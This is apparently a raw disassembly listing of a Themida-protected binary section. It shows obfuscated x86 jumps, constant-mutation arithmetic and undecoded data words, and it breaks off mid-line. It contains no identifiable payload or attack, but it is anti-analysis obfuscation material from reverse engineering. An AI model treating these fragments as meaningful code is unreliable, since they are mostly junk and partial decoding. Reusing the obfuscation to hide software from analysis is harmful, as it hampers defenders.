--------------------------------------------------------------------------- loc_508531: ; CODE XREF: Themida_:0050DA31j xor ebp, 20810C04h and ebp, 202A043Eh sub ebp, 202A040Ch push esi push ebp jmp loc_5039B9 ; --------------------------------------------------------------------------- dw 8158h dd 4C5h, 0B62BE900h, 6E0DFFFFh, 50A350Eh, 2DF1CDDh, 63CE948h dd 0C8B0000h, 4C48124h, 81000000h, 4ECh, 24148900h, 5556E289h dd 5F6DBA52h, 0D589453Eh, 0E924148Bh, 6AF5h, 42474FFh dd 8124148Bh, 4C4h, 24048F00h, 24248Bh, 806859C8h, 89000020h dd 0C6E92404h, 81FFFFE5h, 515844C1h, 59CD01F8h, 0E9242C87h dd 0D85h ; --------------------------------------------------------------------------- loc_5085C0: ; CODE XREF: Themida_:00508933j mov [esp], ebx push 3E91h mov [esp], ecx push ebx jmp loc_5060F1 ; --------------------------------------------------------------------------- db 81h, 0EAh, 52h dd 5537650Bh, 47644ABDh, 5DEA29CBh, 148BD689h, 4C48324h dd 875EF201h, 0E95C2414h, 0FFFFA57Ah, 2B951h, 0C8010000h dd 3700E959h, 4AC0000h, 2EC8134h, 66000000h, 0B7241C89h dd 66F8280Ah, 0B117E95Bh, 0D801FFFFh, 4EC8355h, 0FFDE1EE9h dd 0D8BB53FFh, 817A4103h, 0DB4A52C3h, 81D3F75Bh, 0DD2CEFC3h dd 0B1F3812Ah, 81B28568h, 0CF2BF1C7h, 81DF292Bh, 0CF2BF1EFh dd 241C8B2Bh, 4C481h, 0FA290000h, 83243C8Bh, 875E04C4h dd 248B2414h, 3CD36624h, 0FFE99C24h, 51FFFFA4h, 483630B9h dd 0E289523Fh, 3073E9h, 0C2EA8100h, 5D22EC00h, 0E9241487h dd 0FFFFAEC5h, 0BB53E089h, 4, 2B98B951h, 0A6E972B0h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50869F: ; CODE XREF: Themida_:00506719j mov esp, [esp] push eax mov eax, esp jmp loc_50A1AC ; --------------------------------------------------------------------------- loc_5086AA: ; CODE XREF: Themida_:0050D1E8j shl edx, 1 push ecx mov ecx, 24h jmp loc_508938 ; --------------------------------------------------------------------------- db 0Dh dd 1C6426A7h, 2953548h, 9351C88h, 8957D0A3h, 0F20158C6h dd 2BBB535Eh, 810E583Fh, 0D56940EBh, 9AE9433Bh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5086DF: ; CODE XREF: Themida_:0050D4A7j push eax mov eax, 20h sub eax, 11A93E1Ch push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_50D05D ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 0E9000000h, 3653h, 0B75366ACh, 66F80006h, 32C4E95Bh dd 4010000h, 79BA5224h, 8103E018h, 9404246Ch, 179393Dh dd 81042454h, 94042444h, 8B79393Dh, 0EBE92414h, 0BA000056h dd 1EBFE5Ah, 0FFFCDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_508745: ; CODE XREF: Themida_:0050BE97j mov ebp, [esp] add esp, 4 jmp loc_504C13 ; --------------------------------------------------------------------------- loc_508750: ; CODE XREF: Themida_:00503617j add eax, 59D72E70h pop ebp add eax, 4 sub esp, 4 mov [esp], eax jmp loc_50CF97 ; --------------------------------------------------------------------------- loc_508764: ; CODE XREF: Themida_:00508C37j push ebx mov ebx, esp add ebx, 4 jmp loc_508372 ; --------------------------------------------------------------------------- dw 0DE01h dd 2434875Bh, 4EC835Ch, 54243C89h, 4BE565Fh, 1000000h dd 0C7815EF7h, 4, 8B243C87h, 8F682424h, 8900007Fh, 6E92434h dd 0FFFFFFBCh, 0E9582434h, 0FFFFCE71h ; --------------------------------------------------------------------------- loc_5087AC: ; CODE XREF: Themida_:0050AD24j mov edx, 7C7B15BCh xor edx, 5E3436DEh push esi jmp loc_505BA9 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0B8500000h, 4, 259E9h, 79E95B00h, 0FF000039h dd 0E9042474h, 46E2h ; --------------------------------------------------------------------------- loc_5087E0: ; CODE XREF: Themida_:00507905j mov eax, [esp] add esp, 4 sub ebp, 7E432C42h add ebp, ecx add ebp, 7E432C42h push eax jmp loc_508481 ; --------------------------------------------------------------------------- dw 8B66h dd 5CE92404h, 81FFFFB7h, 0AD37D0C5h, 0CED814Dh, 81BBE600h dd 595549C3h, 52EB0107h, 587743BAh, 0FAEA8158h, 2950FF21h dd 0E95D5AD3h, 0FFFFB43Bh, 0E924148Bh, 6468h, 24048F58h dd 3824248Bh, 2BE99CC1h, 5BFFFFA3h, 31240C33h, 0C33240Ch dd 0E92BE924h, 15EFFFFh, 8BEB81C3h, 66023A76h, 5624148Bh dd 0E659E954h, 5431FFFFh, 585A0424h, 45130735h, 0EF815D79h dd 2D3B1141h, 0FFE187E9h, 4EC81FFh, 0E9000000h, 51D1h dd 0DC880DB3h, 0E288525Bh, 288DE9h, 24B46800h, 505D5F3Dh dd 3A11F2B8h, 0A55EE95Bh, 0E958FFFFh, 421Eh ; --------------------------------------------------------------------------- loc_5088AC: ; CODE XREF: Themida_:0050EEC3j add al, bl mov bx, [esp] jmp loc_50F276 ; --------------------------------------------------------------------------- loc_5088B7: ; CODE XREF: Themida_:0050618Cj pop ecx pop eax add ecx, esi jmp loc_50F26E ; --------------------------------------------------------------------------- dd 0B652C8FEh, 8BF030EAh, 0C4812414h, 4, 0D2E98934h, 81FFFFAEh dd 0C97876CEh, 0DBB5320h, 1D11602h, 2434FFDEh, 0FFE526E9h db 0FFh ; --------------------------------------------------------------------------- loc_5088ED: ; CODE XREF: Themida_:0050B8D5j inc esi push 0 sub [esp], esi jmp loc_503C33 ; --------------------------------------------------------------------------- db 53h dd 0F0FEBBBh, 245C293Ah, 148B5B04h, 0D858E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50890E: ; CODE XREF: Themida_:0050C598j sub eax, 5742456Bh sub eax, 3FF2334Ah mov ecx, [esp] add esp, 4 push 14DDh jmp loc_50EF82 ; --------------------------------------------------------------------------- loc_50892B: ; CODE XREF: Themida_:0050E463j pop ebp pop dword ptr [esp] pop esp sub esp, 4 jmp loc_5085C0 ; --------------------------------------------------------------------------- loc_508938: ; CODE XREF: Themida_:005086B2j add ecx, edi push 68A8h mov [esp], edx push esp pop edx push ebx mov ebx, 2E8D5B3Ch neg ebx not ebx xor ebx, 66043F69h not ebx xor ebx, 65D7224Ch jmp loc_5046DD ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 248B241Ch, 0F427E924h, 77FFFFFFh, 11589D1Ch dd 0E99C2404h, 0FFFFA1EEh ; --------------------------------------------------------------------------- loc_508980: ; CODE XREF: Themida_:0050C846j mov ecx, esp push ebx push edi push 34191321h jmp loc_509718 ; --------------------------------------------------------------------------- loc_50898E: ; CODE XREF: Themida_:00506420j sub ecx, 52D552Bh add edx, ecx pop ecx jmp loc_5063A3 ; --------------------------------------------------------------------------- aZSnz db '‡<$énZ',0 align 4 dd 24048B66h, 0E95A5452h, 0FFFFF53Bh, 268h, 0F142E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5089BA: ; CODE XREF: Themida_:00503179j add esp, 4 push ebp mov ebp, 0F0DCDF8Bh jmp loc_5056A9 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 14EAh, 295EE81h, 0C6011B30h, 295C681h, 0EE811B30h dd 7F4705B2h, 4957BD55h, 0EE01535Ah, 0FFBA63E9h db 0FFh ; --------------------------------------------------------------------------- loc_5089F1: ; CODE XREF: Themida_:0050F271j add esp, 4 jmp loc_503207 ; --------------------------------------------------------------------------- db 0FFh, 77h, 40h dd 0FFA16DE9h, 28C104FFh, 5AC12CF0h, 377FE9h, 89F08900h dd 0B0E958C5h, 29000039h, 0C3E95EF3h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508A1F: ; CODE XREF: Themida_:0050C442j add esp, 4 jmp loc_50EF4D ; --------------------------------------------------------------------------- dw 0C501h dd 4C58358h, 31242C33h, 0B8E9242Ch db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508A3B: ; CODE XREF: Themida_:00503DC5j pop edx jmp loc_503CD9 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FFB25CE9h db 0FFh ; --------------------------------------------------------------------------- loc_508A49: ; CODE XREF: Themida_:0050BA0Ej push esi push ebp push 173C3B94h mov ebp, [esp] add esp, 4 jmp loc_507080 ; --------------------------------------------------------------------------- db 5Ch dd 0D49CE958h, 8B66FFFFh, 79682404h, 89000027h, 0EC832414h dd 48F5404h, 24048124h, 4, 8324148Bh, 0C28104C4h, 4, 2BE56h dd 0F2010000h, 5E20E9h db 0 ; --------------------------------------------------------------------------- loc_508A95: ; CODE XREF: Themida_:0050A99Bj pop esp mov [esp], ebx mov bl, 0C7h push dx mov dh, 42h dec dh xor dh, 9Fh xor dh, 0CCh xor dh, 0D1h xor dh, 0A6h add dh, 3 sub bl, dh mov dx, [esp] jmp loc_507D14 ; --------------------------------------------------------------------------- db 56h dd 283FF0BEh, 14C6813Bh, 81C4D7C0h, 0D77CC1C5h, 51F50156h dd 0C7771AB9h, 12E98119h, 0F75CA50Fh, 0C9C181D9h, 2913F9E4h dd 0CA94E9CDh, 0E942FFFFh, 0FFFFBB7Ah, 25EEF381h, 0E3C15D7Bh dd 5EBC103h, 0C381DBF7h, 9FA8B36Ah, 505BDF29h, 75BE9h dd 24048B00h, 5068E9h, 5AD30100h, 82B95157h, 81606E74h dd 0C83ED8E9h, 81D1F721h, 59CA57F1h, 8BCF89C1h, 0C481240Ch dd 4, 335FFB01h, 1C31241Ch, 241C3324h, 0FFC631E9h, 51668FFh dd 14890000h, 0BA56E924h, 0F581FFFFh, 7512068Dh, 31E9E989h dd 1FFFFAAh, 8B5B5911h, 0D5E92414h, 8B000025h, 0EC81241Ch dd 4, 54241C89h, 0E9241C8Bh, 0FFFFF2A7h, 5C24048Fh, 0FF9FE1E9h dd 0C7815FFFh, 70754A8Fh, 8108EFC1h, 3A0FEBEFh, 277AE909h dd 79250000h, 5251AE15h, 0FFEFAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_508BAD: ; CODE XREF: Themida_:00505739j mov ebx, 3F7B47D2h xor eax, ebx pop ebx add edi, eax mov eax, [esp] jmp loc_50A0D9 ; --------------------------------------------------------------------------- db 83h dd 1C8704EBh, 24895C24h, 4E95324h, 8800004Eh, 0CE70E9C6h dd 0BE56FFFFh, 20h, 4F0EE9h, 5AD58900h, 2C8BEB89h, 4C48124h dd 1000000h, 5B04245Ch, 4C5815Dh, 81000000h, 2C5h, 74FF5500h dd 8F5D0424h, 248B2404h, 0BB0F6624h, 0E99C2404h, 0FFFF9F56h dd 7E9C15Dh, 0E906E1C1h, 0FFFFF98Bh, 44F46851h, 0E9594E93h dd 18B5h ; --------------------------------------------------------------------------- loc_508C30: ; CODE XREF: Themida_:00509FCBj pop eax and ecx, edi push dword ptr [esp] pop edi jmp loc_508764 ; --------------------------------------------------------------------------- dd 0E9242C89h, 0FFFFFC51h, 0B8D5E958h, 15BFFFFh, 30EFE9C8h dd 248B0000h, 0E26BE924h, 0DE01FFFFh, 0B6F6815Bh, 210D8956h dd 77FF5EF0h, 0CAD0E91Ch, 0B4B8FFFFh, 96CF71Dh, 4BE958C6h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508C7B: ; CODE XREF: Themida_:0050E55Cj mov edi, esp push esi mov esi, 4 add edi, esi jmp loc_50D40B ; --------------------------------------------------------------------------- loc_508C8A: ; CODE XREF: Themida_:0050B2B8j pop eax jmp loc_50828B ; --------------------------------------------------------------------------- dd 4C481h, 0F5880000h, 229EE95Ah, 575D0000h, 0C1565CBFh dd 0DC00E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508CAA: ; CODE XREF: Themida_:0050DE65j dec edx push edi mov edi, 6101008Eh add edi, 5F180849h add edi, 0FFFFFFFFh sub edi, 6ED3194Ah and edi, 7B2C76F3h not edi inc edi xor edi, 0CBA2C61Ch add edx, 545911E8h add edx, edi sub edx, 545911E8h mov edi, [esp] add esp, 4 add edx, 88818975h jmp loc_50851D ; --------------------------------------------------------------------------- dd 0FF243489h, 8B042474h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx jmp loc_505450 ; --------------------------------------------------------------------------- loc_508D0D: ; CODE XREF: Themida_:0050A955j mov [esp], edx mov dl, 0A0h push ax jmp loc_5068B7 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFE1E6E9h, 4EC83FFh, 0BE243489h, 22AD5217h, 0E95EF129h dd 0FFFFAEA3h ; --------------------------------------------------------------------------- loc_508D34: ; CODE XREF: Themida_:0050519Bj add esi, 4 xchg esi, [esp] pop esp push ecx jmp loc_5067DE ; --------------------------------------------------------------------------- dd 5AD32958h, 0C381C301h, 21480310h, 781CC381h, 0BE56767Bh dd 54C336FEh, 575EF329h, 1CB468h, 24048900h, 2B4DA168h dd 51485860h, 2363E9h db 0 ; --------------------------------------------------------------------------- loc_508D75: ; CODE XREF: Themida_:00507F67j add eax, 4 jmp loc_5082B2 ; --------------------------------------------------------------------------- db 0BEh dd 0E9C5F8D9h, 4146BA52h, 0D6292693h, 8124148Bh, 4C4h dd 81FE0100h, 934146C6h, 0F0015F26h, 8124348Bh, 4C4h, 9F4DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508DAE: ; CODE XREF: Themida_:00505D1Aj dec eax dec eax jmp loc_505733 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aYqh db 'YQh',8,'/',0 dw 5400h dd 0FFD4D1E9h, 0E9D7F7FFh, 1145h ; --------------------------------------------------------------------------- loc_508DCC: ; CODE XREF: Themida_:00509BACj push edx push ecx mov ch, 0B6h mov dl, 8 xor dl, ch pop ecx mov bl, 98h jmp loc_509EE0 ; --------------------------------------------------------------------------- dd 8058C628h, 0F328A7F6h, 0E9D8285Ah, 4705h, 5B58E588h dd 0E924048Bh, 0FFFFC30Dh ; --------------------------------------------------------------------------- loc_508DF8: ; CODE XREF: Themida_:0050AF4Bj and ecx, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 push edx mov edx, 9CB36CCh dec edx add edx, 8310BB2h sub edx, 40AB7E46h jmp loc_505F55 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B7241C89h, 5BF88871h, 0FFEA37E9h, 272EBDFFh, 0ED811D8Eh dd 10B92C95h, 8904EC83h, 48E9241Ch, 0BDFFFFB6h, 4, 4246C01h dd 24148B5Dh, 8104C483h, 4C2h, 0BB535000h, 4, 6FE9D889h dd 55000029h, 429DBF57h, 0A5BD66B5h, 29CF4B83h, 0E9015FFDh dd 0D1E9815Dh, 12D274Ah, 0D1C181F1h, 572D274Ah, 2BEEE9h db 0 ; --------------------------------------------------------------------------- loc_508E91: ; CODE XREF: Themida_:00508FD0j pop ebx push dword ptr [esp] pop esi add esp, 4 push ecx push 18BCh mov [esp], ebx push 54633F49h pop ebx sub ebx, 1 xor ebx, 27F5D51h push ebx jmp loc_50A3DC ; --------------------------------------------------------------------------- db 81h, 0F7h, 3Eh dd 89406926h, 0CBE95FF9h, 0BFFFFFE0h, 4, 4247C01h, 24048F5Fh dd 4B850h, 44010000h, 5DE90424h, 500002Dh, 35A4286h, 862DF801h dd 5F035A42h, 0D764BE2Dh, 5C82918h, 18D764BEh, 19228D2Dh dd 17E9592Ch, 5FFFFA4h, 4, 405h, 24048700h, 78CD805Ch dd 0E907EDC0h, 0FFFFBC3Ch, 22C5E955h, 0C6810000h, 0FFFFFFFFh dd 0FFD855E9h, 0FF5059FFh, 0E958240Ch, 0FFFFAA97h, 0EDFEA81h dd 0D2F72E70h, 13C4E9h, 0FFDF0100h, 685B2434h, 7CBEh, 89241489h dd 4C281E2h, 51000000h, 0FFC433E9h, 52E189FFh, 0FFEAECE9h dd 99C68FFh, 0EEE940D6h, 1FFFF9Ch, 1C8758C3h, 34FF5C24h dd 24148B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, esp push ecx push ebp mov ebp, 54EC6C05h push ebx mov ebx, 43890777h jmp loc_505DB7 ; --------------------------------------------------------------------------- loc_508FB0: ; CODE XREF: Themida_:0050AE38j push esi mov esi, 568F4790h mov eax, 5A5B7824h sub eax, esi pop esi shr eax, 2 and eax, 18F55E77h sub eax, 0B71EA2ECh sub ebx, eax pop eax xor eax, ebx jmp loc_508E91 ; --------------------------------------------------------------------------- loc_508FD5: ; CODE XREF: Themida_:005051A1j mov edi, ebx jmp loc_5031B3 ; --------------------------------------------------------------------------- dd 0B31680B9h, 6E9C147h, 0FFA08EE9h, 242C89FFh, 4BDh, 0C655E900h dd 0F781FFFFh, 0AA531B0h, 658FE781h, 0EF813BDEh, 0C512E7DDh dd 515FFB31h, 143A2BB9h, 3CC1814Bh, 0F758BE65h, 3FF181D9h dd 0E9341142h, 0FFFFCD27h, 24048B66h, 0D125E950h, 0D7F7FFFFh dd 0E906E7C1h, 0FFFFBEDBh, 8B243C87h, 0FF662424h, 0E99C240Ch dd 0FFFF9B26h ; --------------------------------------------------------------------------- loc_509048: ; CODE XREF: Themida_:00505996j shr edx, 8 sub edx, 0B7E38DFEh mov ebx, edx jmp loc_50EA2A ; --------------------------------------------------------------------------- dd 0AEE9EA29h, 0B6FFFFAFh, 83B050B6h, 2C07E0C0h, 5207E934h dd 0DA860000h, 0E230D430h, 0D4F6D430h, 861EC80h, 6025E9E7h dd 0EEC10000h, 4EC8302h, 0FF9AFBE9h, 0E9FE2CFFh, 6317h dd 5C240C87h, 89241489h, 4B951E2h, 81000000h, 862F75EAh dd 26F8E97Fh, 0D7010000h, 0BD0DE95Ah, 0E95DFFFFh, 25E3h dd 0E9243C89h, 0FFFFF837h, 24048B66h, 8904EC83h, 0BA68242Ch dd 0E9000007h, 0FFFFD174h, 12B2E956h, 0C7810000h, 1, 798BEF81h dd 0BA524888h, 51367837h, 67AACA81h, 814A6EE6h, 696D78F2h dd 0BE1EE949h, 0C281FFFFh, 4, 2C281h, 59E90000h, 0FFFFFFEEh dd 589D1C77h, 9C240419h, 0FF9A4DE9h, 0E9535EFFh, 490Eh ; --------------------------------------------------------------------------- loc_509128: ; CODE XREF: Themida_:00503DBDj mov [esp], eax push dword ptr [esp+4] jmp loc_50AF46 ; --------------------------------------------------------------------------- loc_509134: ; CODE XREF: Themida_:00505ED6j push edx mov edx, 50E907FDh jmp loc_504744 ; --------------------------------------------------------------------------- db 0B5h dd 0CFB65288h, 5304EEC0h, 23C0E9h db 0 ; --------------------------------------------------------------------------- loc_50914D: ; CODE XREF: Themida_:0050D3B9j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_5097C1 ; --------------------------------------------------------------------------- dw 0D6F7h dd 0A99E9h db 0 ; --------------------------------------------------------------------------- loc_509165: ; CODE XREF: Themida_:005035E3j add ebx, 4 jmp loc_50C8D1 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9240C89h, 0FFFFB3B6h, 0E95BD901h, 0FFFFF053h, 54B2F581h dd 0FAE91F1Fh, 52000059h, 0E9D0B551h, 0FFFFA454h ; --------------------------------------------------------------------------- loc_509194: ; CODE XREF: Themida_:0050B81Aj mov esp, [esp] inc dword ptr [esp] pushf jmp loc_502B6E ; --------------------------------------------------------------------------- dd 4C381h, 0C3830000h, 241C8704h, 6FB9515Ch, 173B472h dd 0EFE959C8h, 83000045h, 0BEE904C4h, 66000003h, 6672DCB9h dd 6602E9C1h, 600DE981h, 0C1664166h, 816608E9h, 666371F1h dd 8B66CB01h, 88E9240Ch, 6600001Ch, 5D66E831h, 3D1CE9h dd 0BB00h, 89500000h, 30DEE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5091FE: ; CODE XREF: Themida_:00509F48j xor ebx, 147BF0C5h sub eax, 737702Dh add eax, ebx jmp loc_502BF5 ; --------------------------------------------------------------------------- dd 0B7241C89h, 0F9F780CBh, 809DB450h, 0E4C0F4CCh, 0C0C4FE04h dd 0EC8305E4h, 548AE902h, 0F5810000h, 7E60EA4h, 0FFF5CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_509239: ; CODE XREF: Themida_:0050AB59j sub esp, 4 mov [esp], ecx push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, ebx jmp loc_50D138 ; --------------------------------------------------------------------------- db 66h dd 0E9240C89h, 0FFFFFF5Bh, 270868h, 242C8900h, 0F4C685BDh dd 0D72AE944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50927A: ; CODE XREF: Themida_:005038ABj add esp, 4 jmp loc_50CA35 ; --------------------------------------------------------------------------- dw 0C483h dd 98E4E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50928A: ; CODE XREF: Themida_:00505045j jmp loc_502B6E ; --------------------------------------------------------------------------- loc_50928F: ; CODE XREF: Themida_:00509879j pop esp mov [esp], ebp jmp loc_5030E0 ; --------------------------------------------------------------------------- dd 0CA88F988h, 3ADBE9h db 0 ; --------------------------------------------------------------------------- loc_5092A1: ; CODE XREF: Themida_:0050983Dj push esi mov esi, esp jmp loc_504659 ; --------------------------------------------------------------------------- loc_5092A9: ; CODE XREF: Themida_:005049E7j mov edx, 38022FC2h mov ebp, 0C7FDD03Fh add ebp, edx pop edx and eax, ebp push dword ptr [esp] pop ebp push edi push esp jmp loc_50A410 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 989CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5092D2: ; CODE XREF: Themida_:00505579j mov ecx, edi pop edi push edi mov edi, 20950F6Fh xor edi, 0A04A6E12h mov edx, edi pop edi sub edx, ecx pop ecx jmp loc_50A86C ; --------------------------------------------------------------------------- dd 5524048Bh, 0C5815D54h, 4, 0E904ED83h, 0BF6h ; --------------------------------------------------------------------------- loc_509300: ; CODE XREF: Themida_:0050837Aj pop ecx xchg ebx, [esp] pop esp shr ecx, 2 push ebx jmp loc_50C223 ; --------------------------------------------------------------------------- dw 0E989h dd 5D2434FFh, 4C481h, 2AE90000h, 0BDFFFFEDh, 34407256h dd 8A1E581h, 0E58102D7h, 220E5EF5h, 97E9DDF7h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_509337: ; CODE XREF: Themida_:00502CD6j push esi mov esi, esp add esi, 4 jmp loc_502ECB ; --------------------------------------------------------------------------- db 5Ch, 8Bh, 4 dd 54555224h, 4C5815Dh, 51000000h, 0FFA997E9h, 2EC83FFh dd 240C8966h, 8651C588h, 0F601245Ch, 245C86D3h, 2434FF01h dd 4C48359h, 88EA8852h, 28E95AD0h, 5F000010h, 5DBB5351h dd 0B9379D7Fh, 0F6D5E0BEh, 0FFB4D9E9h, 0C8B66FFh, 0E1895124h dd 1C08E9h, 71812D00h, 0C8290F27h, 27718105h, 2A93E90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5093AE: ; CODE XREF: Themida_:005083AAj mov esp, [esp] add esp, 4 idiv ecx push 7EC3h mov [esp], edx push eax pushf jmp loc_502B6E ; --------------------------------------------------------------------------- loc_5093C8: ; CODE XREF: Themida_:00502DE8j push edi push esp pop edi add edi, 4 push edx jmp loc_50EB5D ; --------------------------------------------------------------------------- loc_5093D7: ; CODE XREF: Themida_:0050391Cj neg ebp xor ebp, 0C2A2D7FAh push edi mov edi, ebp mov eax, edi pop edi pop ebp push ebp mov ebp, 3462F81h sub [esp+8], ebp pop ebp add dword ptr [esp+4], 64063341h add [esp+4], eax sub dword ptr [esp+4], 64063341h push ebp mov ebp, 3462F81h jmp loc_50D6AC ; --------------------------------------------------------------------------- loc_509410: ; CODE XREF: Themida_:0050B02Fj pop ecx shl bl, 2 xor bl, 94h jmp loc_505087 ; --------------------------------------------------------------------------- dd 0F5E68h, 241C8900h, 0C96965BBh, 56554B3Eh, 94576BBEh dd 4EEC133h, 6126E681h, 0F74610B2h, 0A2EE81D6h, 8997EEA9h dd 0E5815EF5h, 16A1432Fh, 39E6ED81h, 0CD814269h, 538A37F4h dd 4C31C581h, 0EB01A5FCh, 0C7CB815Dh, 81105039h, 0CA77E3CBh dd 7E3C178h, 0F782B850h, 0C3316FFFh, 0BCC28158h, 1673A6Eh dd 0BCEA81DAh, 5B673A6Eh, 0E9241487h, 0FFFFA321h, 8068C380h dd 0B2E970C3h, 89FFFFACh, 0E9815EF3h, 1B012F14h, 32B1E9h db 0 ; --------------------------------------------------------------------------- loc_5094A9: ; CODE XREF: Themida_:0050819Aj push esp pop edx add edx, 4 push edi mov edi, 4 add edx, edi mov edi, [esp] jmp loc_509A55 ; --------------------------------------------------------------------------- loc_5094C1: ; CODE XREF: Themida_:0050A689j add esp, 4 push 6D9Ch mov [esp], esi push esp jmp loc_504317 ; --------------------------------------------------------------------------- dw 0C483h dd 0C62CE904h, 0E968FFFFh, 89000071h, 19BE2434h, 0E961403Fh dd 991h ; --------------------------------------------------------------------------- loc_5094EC: ; CODE XREF: Themida_:00507733j add eax, 0C34B0469h and ecx, eax mov eax, [esp] add esp, 4 shr ecx, 0Bh jmp loc_503914 ; --------------------------------------------------------------------------- db 50h, 0B8h, 71h dd 319F8C73h, 0EF24E9C1h, 0D121FFFFh, 0E924148Bh, 0FFFFC4D7h dd 5C2DD801h, 534BF470h, 8F6418BBh, 59472D4Bh, 31E928D0h dd 0BBFFFFDFh, 3E01879h, 68E9DE89h, 80FFFFBBh, 0E10066F4h dd 4E9C058h, 0F180C1FEh, 4FB2528Ch, 0C008EAC0h, 8EE905EAh dd 2C000050h, 115A685Ch, 3FE90000h, 1FFFFADh, 5504246Ch dd 0F006F7BDh, 246C017Eh, 0C522E908h, 0EE81FFFFh, 3EC12999h dd 2FB7E9h, 5E9C000h, 0D9F6D9F6h, 0FF9C88E9h, 2E512DFFh dd 34FF6FE5h, 0CF0CE924h, 8146FFFFh, 6E26A1EEh, 2942E909h dd 0EC810000h, 4, 0BE243489h, 2, 57A0E9h, 5E7C100h, 2EF2E9h dd 4C48100h, 8B000000h, 0B3E9241Ch, 81FFFFFCh, 0E3861F5h dd 5DEA312Bh, 69B9EE81h, 0D6292DD3h, 3808E9h, 0D8296600h dd 31E95766h, 0AD000043h, 3A74CB05h, 70A40509h, 0D80151D5h dd 0D570A42Dh, 7E685751h, 8900007Bh, 0F1E92424h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50960F: ; CODE XREF: Themida_:00506D44j mov edx, esi jmp loc_50989C ; --------------------------------------------------------------------------- loc_509616: ; CODE XREF: Themida_:0050526Bj mov ecx, 46914487h and esi, ecx jmp loc_50DA90 ; --------------------------------------------------------------------------- loc_509622: ; CODE XREF: Themida_:0050C805j sub eax, 0B3A8EE6h mov esi, eax pop eax not esi add esi, 0FFFFFFFFh sub esi, 247B315Fh dec esi shr esi, 8 push edx mov edx, 0FF519FAFh add esi, edx pop edx sub edx, esi jmp loc_506F86 ; --------------------------------------------------------------------------- loc_50964C: ; CODE XREF: Themida_:0050AE17j neg eax shl eax, 4 and eax, 1F1D059Dh jmp loc_50D58F ; --------------------------------------------------------------------------- db 89h dd 0EE68240Ch, 89000063h, 46B42404h, 4EF4E9h, 0E9F42800h dd 0FFFF9C92h, 4095E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50967A: ; CODE XREF: Themida_:0050E093j shr ebx, 1 sub ebx, 163755F3h mov ebp, ebx pop ebx xor [esp+4], ebp pop ebp jmp loc_50813E ; --------------------------------------------------------------------------- db 81h dd 4C7h, 45E95200h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50969B: ; CODE XREF: Themida_:0050AB86j sub ecx, 69C1378h mov edx, [esp] add esp, 4 not ecx or ecx, 259B26B4h xor ecx, 5A0866FFh or ecx, 7F0D2F80h xor ecx, 0FF9FAFA1h jmp loc_5060E2 ; --------------------------------------------------------------------------- dw 2868h dd 0E9000002h, 4E6Dh, 4C481h, 0F5E90000h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5096DB: ; CODE XREF: Themida_:0050DE59j add dh, al pop eax add dh, 9Bh xor dh, 74h add dh, 1 add dh, 0E4h xor ch, dh pop edx jmp loc_504C4A ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 34875BDEh, 0C4E95C24h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_509703: ; CODE XREF: Themida_:0050C9FFj push ebx mov ebx, 51903A08h jmp loc_507E55 ; --------------------------------------------------------------------------- dw 0ED80h dd 0E9E80006h, 5188h ; --------------------------------------------------------------------------- loc_509718: ; CODE XREF: Themida_:00508989j pop edi xor edi, 37532C29h xor edi, 2E2B3046h xor edi, 2D610F4Ah jmp loc_504037 ; --------------------------------------------------------------------------- dd 0D7C38166h, 87665A11h, 664A66D3h, 53E9D387h, 0F6000032h dd 0E99C241Ch, 0FFFF9422h ; --------------------------------------------------------------------------- loc_50974C: ; CODE XREF: Themida_:005050E0j pop esp mov ecx, [esp] jmp loc_509BA5 ; --------------------------------------------------------------------------- db 68h, 71h, 5Dh dd 3C890000h, 81E78924h, 4C7h, 4EF8300h, 8B243C87h, 1C892424h dd 1C8B5424h, 0E368E924h, 0D8F6FFFFh, 0FFDB5CE9h, 0BF9BFFFh dd 0FB012303h, 0FFC3835Fh, 0D0DAEB81h, 0DA295621h, 4879E95Bh dd 0CFE90000h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50979F: ; CODE XREF: 